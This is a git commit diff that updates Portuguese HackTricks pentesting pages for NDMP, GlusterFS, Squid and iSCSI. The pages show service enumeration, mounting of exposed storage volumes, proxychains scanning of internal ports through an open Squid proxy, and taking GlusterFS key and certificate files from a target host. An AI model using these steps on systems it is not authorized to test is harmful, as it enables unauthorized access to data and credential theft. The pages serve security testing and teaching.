Translated ['network-services-pentesting/10000-network-data-management-p

This commit is contained in:
Translator 2024-01-05 23:03:45 +00:00
parent 1421f06117
commit ebd96ccdc8
22 changed files with 852 additions and 861 deletions

View file

@ -1,75 +1,29 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
# **Informações do Protocolo** # **Informações do Protocolo**
**NDMP**, ou **Network Data Management Protocol**, é um protocolo destinado a transportar dados entre dispositivos de armazenamento conectados em rede \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) e dispositivos de [backup](https://en.wikipedia.org/wiki/Backup). Isso elimina a necessidade de transportar os dados através do próprio servidor de backup, aumentando assim a velocidade e removendo a carga do servidor de backup. **NDMP**, ou **Network Data Management Protocol**, é um protocolo destinado a transportar dados entre dispositivos de armazenamento conectados à rede \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) e dispositivos de [backup](https://en.wikipedia.org/wiki/Backup). Isso elimina a necessidade de transportar os dados através do próprio servidor de backup, aumentando assim a velocidade e reduzindo a carga no servidor de backup.
De [Wikipedia](https://en.wikipedia.org/wiki/NDMP). Da [Wikipedia](https://en.wikipedia.org/wiki/NDMP).
**Porta padrão:** 10000 **Porta padrão:** 10000
```text ```text
PORT STATE SERVICE REASON VERSION PORT STATE SERVICE REASON VERSION
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp 10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
``` ```
# Enumeração # **Enumeração**
## **NDMP Enumeration**
## **Enumeração NDMP**
### **Port Scanning**
### **Varredura de Portas**
We can start by scanning the target host for open ports using tools like Nmap or Masscan.
Podemos começar escaneando o host alvo em busca de portas abertas usando ferramentas como Nmap ou Masscan.
```bash
nmap -p 10000 <target_ip>
```
### **Banner Grabbing**
### **Banner Grabbing**
Once we have identified the port 10000 open, we can use banner grabbing to identify the NDMP service running on the target host.
Uma vez que identificamos a porta 10000 aberta, podemos usar o banner grabbing para identificar o serviço NDMP em execução no host alvo.
```bash
nc -nv <target_ip> 10000
```
### **NDMP Enumeration using ndmp-tool**
### **Enumeração NDMP usando ndmp-tool**
We can use the ndmp-tool to enumerate the NDMP service running on the target host.
Podemos usar o ndmp-tool para enumerar o serviço NDMP em execução no host alvo.
```bash
ndmp-tool <target_ip> -p 10000 -e
```
The above command will enumerate the NDMP service and list all the supported vendors and their respective versions.
O comando acima irá enumerar o serviço NDMP e listar todos os fornecedores suportados e suas respectivas versões.
```bash ```bash
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
``` ```
@ -77,4 +31,18 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
`ndmp` `ndmp`
O protocolo NDMP (Network Data Management Protocol) é um protocolo de gerenciamento de dados de rede que permite que um servidor de backup se comunique com dispositivos de armazenamento de backup para realizar backups de dados. O Shodan pode ser usado para encontrar dispositivos que usam o protocolo NDMP e, assim, identificar possíveis alvos para ataques de invasão.
<details>
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,9 +1,24 @@
# Informação Básica <details>
O **GlusterFS** é um **sistema de arquivos distribuído**, escalável arbitrariamente, que agrega componentes de armazenamento de **vários servidores em um único sistema de arquivos uniforme**. <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Informações Básicas
**GlusterFS** é um **sistema de arquivos distribuído**, arbitrariamente escalável que agrega componentes de armazenamento de **vários servidores em um único**, sistema de arquivos uniforme.
**Portas padrão**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (em diante)\ **Portas padrão**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (em diante)\
Para a porta 49152, as portas incrementadas em 1 precisam estar abertas para usar mais bricks. _Anteriormente, a porta 24009 era usada em vez de 49152._ Para a porta 49152, portas incrementadas por 1 precisam estar abertas para usar mais tijolos. _Anteriormente, a porta 24009 era usada em vez de 49152._
``` ```
PORT STATE SERVICE PORT STATE SERVICE
24007/tcp open rpcbind 24007/tcp open rpcbind
@ -20,7 +35,7 @@ sudo gluster --remote-host=10.10.11.131 volume list
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/ sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
``` ```
Se você receber um **erro ao tentar montar o sistema de arquivos**, você pode verificar os logs em `/var/log/glusterfs/`. Se você receber um **erro ao tentar montar o sistema de arquivos**, você pode verificar os logs em `/var/log/glusterfs/`
**Erros mencionando certificados** podem ser corrigidos roubando os arquivos (se você tiver acesso ao sistema): **Erros mencionando certificados** podem ser corrigidos roubando os arquivos (se você tiver acesso ao sistema):
@ -28,4 +43,19 @@ Se você receber um **erro ao tentar montar o sistema de arquivos**, você pode
* /etc/ssl/glusterfs.key * /etc/ssl/glusterfs.key
* /etc/ssl/glusterfs.ca.pem * /etc/ssl/glusterfs.ca.pem
E armazenando-os no diretório `/etc/ssl` ou `/usr/lib/ssl` da sua máquina (se um diretório diferente for usado, verifique as linhas semelhantes a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nos logs). E armazenando-os no diretório `/etc/ssl` ou `/usr/lib/ssl` da sua máquina (se um diretório diferente for usado, verifique linhas similares a: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" nos logs).
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,26 +1,26 @@
```markdown
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>
# Informações Básicas # Informações Básicas
**Squid** é um proxy web HTTP de cache e encaminhamento. Ele tem uma ampla variedade de usos, incluindo acelerar um servidor web através do cache de solicitações repetidas, cache de web, DNS e outras pesquisas de rede de computadores para um grupo de pessoas que compartilham recursos de rede, e auxiliar na segurança filtrando o tráfego. Embora seja usado principalmente para HTTP e FTP, o Squid inclui suporte limitado para vários outros protocolos, incluindo Internet Gopher, SSL, TLS e HTTPS. O Squid não suporta o protocolo SOCKS, ao contrário do Privoxy, com o qual o Squid pode ser usado para fornecer suporte SOCKS. (De [aqui](https://en.wikipedia.org/wiki/Squid\_\(software\))). **Squid** é um proxy web HTTP de cache e encaminhamento. Possui uma ampla variedade de usos, incluindo acelerar um servidor web por meio do cache de solicitações repetidas, armazenar em cache pesquisas de web, DNS e outras redes de computadores para um grupo de pessoas compartilhando recursos de rede, e auxiliar na segurança filtrando o tráfego. Embora seja usado principalmente para HTTP e FTP, o Squid inclui suporte limitado para vários outros protocolos, incluindo Internet Gopher, SSL, TLS e HTTPS. O Squid não suporta o protocolo SOCKS, ao contrário do Privoxy, com o qual o Squid pode ser usado para fornecer suporte a SOCKS. (De [aqui](https://en.wikipedia.org/wiki/Squid\_\(software\))).
**Porta padrão:** 3128 **Porta padrão:** 3128
``` ```
```
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
3128/tcp open http-proxy Squid http proxy 4.11 3128/tcp open http-proxy Squid http proxy 4.11
``` ```
@ -28,36 +28,34 @@ PORT STATE SERVICE VERSION
## Proxy Web ## Proxy Web
Você pode tentar configurar esse serviço descoberto como proxy no seu navegador. No entanto, se estiver configurado com autenticação HTTP, você será solicitado a fornecer nomes de usuário e senha. Você pode tentar configurar este serviço descoberto como proxy no seu navegador. No entanto, se estiver configurado com autenticação HTTP, será solicitado nomes de usuário e senha.
```bash ```bash
# Try to proxify curl # Try to proxify curl
curl --proxy http://10.10.11.131:3128 http://10.10.11.131 curl --proxy http://10.10.11.131:3128 http://10.10.11.131
``` ```
## Nmap com proxy ## Nmap proxificado
Você também pode tentar abusar do proxy para **escanear portas internas usando o nmap como proxy**.\ Você também pode tentar abusar do proxy para **escanear portas internas proxificando o nmap**.\
Configure o proxychains para usar o proxy squid adicionando a seguinte linha no final do arquivo proxichains.conf: `http 10.10.10.10 3128` Configure o proxychains para usar o proxy squid adicionando a seguinte linha ao final do arquivo proxichains.conf: `http 10.10.10.10 3128`
Em seguida, execute o nmap com o proxychains para **escanear o host local**: `proxychains nmap -sT -n -p- localhost` Em seguida, execute o nmap com proxychains para **escanear o host localmente**: `proxychains nmap -sT -n -p- localhost`
## Scanner SPOSE ## Scanner SPOSE
Alternativamente, o Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) pode ser usado. Alternativamente, pode-se usar o Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)).
```bash ```bash
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131 python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
``` ```
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! Outras formas de apoiar o HackTricks:
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details> </details>

View file

@ -1,8 +1,24 @@
# 3260 - Pentesting ISCSI
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informações Básicas ## Informações Básicas
> Na computação, **iSCSI** é um acrônimo para **Internet Small Computer Systems Interface**, um padrão de rede de armazenamento baseado em Protocolo de Internet (IP) para conectar instalações de armazenamento de dados. Ele fornece acesso em nível de bloco a dispositivos de armazenamento, transportando comandos SCSI sobre uma rede TCP/IP. O iSCSI é usado para facilitar transferências de dados em intranets e gerenciar armazenamento em longas distâncias. Ele pode ser usado para transmitir dados em redes de área local (LANs), redes de área ampla (WANs) ou na Internet e pode permitir armazenamento e recuperação de dados independentes de localização. > Em computação, **iSCSI** é uma sigla para **Interface de Sistemas de Computadores Pequenos da Internet**, um padrão de rede de armazenamento baseado no Protocolo de Internet (IP) para conectar instalações de armazenamento de dados. Ele fornece acesso a nível de bloco a dispositivos de armazenamento transportando comandos SCSI por uma rede TCP/IP. O iSCSI é usado para facilitar transferências de dados em intranets e para gerenciar armazenamento a longas distâncias. Pode ser usado para transmitir dados através de redes locais (LANs), redes de longa distância (WANs) ou a Internet e pode permitir armazenamento de dados e recuperação independentes de localização.
> >
> O protocolo permite que clientes (chamados iniciadores) enviem comandos SCSI (CDBs) para dispositivos de armazenamento (alvos) em servidores remotos. É um protocolo de rede de área de armazenamento (SAN), permitindo que organizações consolidem o armazenamento em matrizes de armazenamento, enquanto fornecem aos clientes (como servidores de banco de dados e web) a ilusão de discos SCSI localmente conectados. Ele compete principalmente com o Fibre Channel, mas, ao contrário do Fibre Channel tradicional, que geralmente requer cabeamento dedicado, o iSCSI pode ser executado em longas distâncias usando a infraestrutura de rede existente. > O protocolo permite que clientes (chamados iniciadores) enviem comandos SCSI (CDBs) para dispositivos de armazenamento (alvos) em servidores remotos. É um protocolo de rede de área de armazenamento (SAN), permitindo que organizações consolidem armazenamento em matrizes de armazenamento enquanto fornecem aos clientes (como servidores de banco de dados e web) a ilusão de discos SCSI conectados localmente. Ele compete principalmente com Fibre Channel, mas, ao contrário do Fibre Channel tradicional que geralmente requer cabeamento dedicado, o iSCSI pode ser executado a longas distâncias usando a infraestrutura de rede existente.
**Porta padrão:** 3260 **Porta padrão:** 3260
``` ```
@ -19,24 +35,24 @@ Este script indicará se a autenticação é necessária.
### [Montar ISCSI no Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux) ### [Montar ISCSI no Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
**Nota:** Você pode descobrir que quando seus alvos são descobertos, eles são listados sob um endereço IP diferente. Isso tende a acontecer se o serviço iSCSI é exposto via NAT ou um IP virtual. Em casos como esses, o `iscsiadmin` falhará ao se conectar. Isso requer duas alterações: uma no nome do diretório do nó criado automaticamente por suas atividades de descoberta e outra no arquivo `default` contido neste diretório. **Nota:** Você pode descobrir que, quando seus alvos são encontrados, eles estão listados sob um endereço IP diferente. Isso tende a acontecer se o serviço iSCSI estiver exposto via NAT ou um IP virtual. Em casos como esses, `iscsiadmin` falhará ao conectar. Isso requer duas alterações: uma no nome do diretório do nó automaticamente criado por suas atividades de descoberta e outra no arquivo `default` contido dentro deste diretório.
Por exemplo, você está tentando se conectar a um alvo iSCSI em 123.123.123.123 na porta 3260. O servidor que expõe o alvo iSCSI está na verdade em 192.168.1.2, mas exposto via NAT. O isciadm registrará o endereço _interno_ em vez do endereço _público_: Por exemplo, você está tentando se conectar a um alvo iSCSI em 123.123.123.123 na porta 3260. O servidor que expõe o alvo iSCSI está na verdade em 192.168.1.2, mas exposto via NAT. isciadm registrará o endereço _interno_ em vez do endereço _público_:
``` ```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe 192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[...] [...]
``` ```
Este comando irá criar um diretório no seu sistema de arquivos como este: Este comando criará um diretório no seu sistema de arquivos assim:
``` ```
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/ /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
``` ```
Dentro do diretório, um arquivo padrão com todas as configurações necessárias para se conectar ao alvo. Dentro do diretório, existe um arquivo padrão com todas as configurações necessárias para se conectar ao alvo.
1. Renomeie `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` para `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/` 1. Renomeie `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` para `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, altere a configuração `node.conn[0].address` para apontar para 123.123.123.123 em vez de 192.168.1.2. Isso pode ser feito com um comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default` 2. Dentro de `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, altere a configuração `node.conn[0].address` para apontar para 123.123.123.123 em vez de 192.168.1.2. Isso pode ser feito com um comando como `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
Agora você pode montar o alvo de acordo com as instruções no link. Agora você pode montar o alvo conforme as instruções no link.
### [Montar ISCSI no Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN) ### [Montar ISCSI no Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
@ -44,16 +60,16 @@ Agora você pode montar o alvo de acordo com as instruções no link.
```bash ```bash
sudo apt-get install open-iscsi sudo apt-get install open-iscsi
``` ```
Primeiramente, é necessário **descobrir o nome dos alvos** por trás do endereço IP: Primeiramente, você precisa **descobrir o nome do alvo** por trás do IP:
``` ```
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe 123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382 [2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382 [fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
``` ```
_Note que ele mostrará o **IP e a porta das interfaces** onde você pode **alcançar** esses **alvos**. Ele pode até **mostrar IPs internos ou IPs diferentes** daquele que você usou._ _Note que ele mostrará o **IP e a porta das interfaces** onde você pode **alcançar** esses **alvos**. Ele pode até **mostrar IPs internos ou diferentes IPs** do que você usou._
Então você **pega a segunda parte da string impressa de cada linha** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ da primeira linha) e **tenta fazer login**: Então você **pega a parte da string impressa de cada linha** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ da primeira linha) e **tenta fazer login**:
```bash ```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple) Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
@ -65,7 +81,7 @@ iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful. Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
``` ```
Podemos encontrar **mais informações** sobre isso apenas usando **sem** nenhum parâmetro `--login`/`--logout`. Podemos encontrar **mais informações** sobre isso simplesmente usando **sem** nenhum parâmetro `--login`/`--logout`
```bash ```bash
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
